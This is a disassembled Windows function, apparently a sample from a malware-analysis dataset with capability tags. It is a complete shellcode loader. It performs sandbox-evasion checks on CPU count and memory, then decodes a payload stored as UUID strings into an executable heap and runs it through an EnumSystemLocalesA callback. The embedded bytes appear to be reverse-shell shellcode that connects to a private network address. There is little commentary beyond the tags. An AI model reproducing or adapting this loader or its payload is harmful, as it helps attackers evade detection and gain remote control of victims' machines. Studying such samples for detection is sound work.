Function at 0x401040
Capabilities:
Execute command
Get memory capacity
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x104
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x100], eax
push ebx
push esi
push edi
lea eax, [esp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esp + 0xdc], 4
jle 0x401315
lea eax, [esp + 0xc8]
mov dword [esp + 0xc8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0xd0]
and eax, 0xc0000000
cmp dword [esp + 0xd4], 2
jb 0x401315
ja 0x4010b6
test eax, eax
jb 0x401315
call fcn.00401000
test al, al
jne 0x401315
push 0
push 0
push 0x40000
mov dword [esp + 0x1c], str.008fe8fc_0000_3160_d264_8b523089e58b
mov dword [esp + 0x20], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x24], str.528b0c52_8b14_2872_0fb7_4a2631ff31c0
mov dword [esp + 0x28], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x2c], str.7c613cac_2c02_c120_cf0d_01c74975ef52
mov dword [esp + 0x30], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x34], str.8b10528b_3c42_0157_d08b_407885c0744c
mov dword [esp + 0x38], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x3c], str.488bd001_5018_588b_2001_d385c9743c31
mov dword [esp + 0x40], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x44], str.348b49ff_018b_31d6_c0c1_cf0dac01c738
mov dword [esp + 0x48], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x4c], str.03f475e0_f87d_7d3b_2475_e0588b582401
mov dword [esp + 0x50], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x54], str.0c8b66d3_8b4b_1c58_01d3_8b048b01d089
mov dword [esp + 0x58], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x5c], str.5b242444_615b_5a59_51ff_e0585f5a8b12
mov dword [esp + 0x60], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x64], str.ffff80e9_5dff_3368_3200_00687773325f
mov dword [esp + 0x68], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x6c], str.774c6854_0726_e889_ffd0_b89001000029
mov dword [esp + 0x70], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x74], str.685054c4_8029_006b_ffd5_6a0a68c0a84e
mov dword [esp + 0x78], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x7c], str.00026885_201a_e689_5050_505040504050
mov dword [esp + 0x80], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x84], str.df0fea68_ffe0_97d5_6a10_56576899a574
mov dword [esp + 0x88], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x8c], str.85d5ff61_74c0_ff0a_4e08_75ece8670000
mov dword [esp + 0x90], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x94], str.6a006a00_5604_6857_02d9_c85fffd583f8
mov dword [esp + 0x98], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0x9c], str.8b367e00_6a36_6840_0010_0000566a0068
mov dword [esp + 0xa0], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0xa4], str.e553a458_d5ff_5393_6a00_5653576802d9
mov dword [esp + 0xa8], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0xac], str.d5ff5fc8_f883_7d00_2858_68004000006a
mov dword [esp + 0xb0], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0xb4], str.0b685000_0f2f_ff30_d557_68756e4d61ff
mov dword [esp + 0xb8], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0xbc], str.ff5e5ed5_240c_850f_70ff_ffffe99bffff
mov dword [esp + 0xc0], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0xc4], str.29c301ff_75c6_c3c1_bbf0_b5a2566a0053
mov dword [esp + 0xc8], str.12345678_1234_1234_1234_123456789abc
mov dword [esp + 0xcc], str.0000d5ff_0000_0000_0000_000000000000
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
push 0x3e8
call ebx
push 0x200000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x3e8
mov dword [esp + 0x10], eax
mov edi, eax
call ebx
xor esi, esi
push edi
push dword [esp + esi*4 + 0x14]
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
test eax, eax
jne 0x4012f2
push 0x64
call ebx
add esi, 2
add edi, 0x10
cmp esi, 0x2d
jl 0x4012a2
push 0x3e8
call ebx
mov esi, dword [esp + 0xc]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.0040165a
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.0040165a
mov esp, ebp
pop ebp
ret
push 0x401570
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00401360
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [esp + 0x110]
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040165a
mov esp, ebp
pop ebp
ret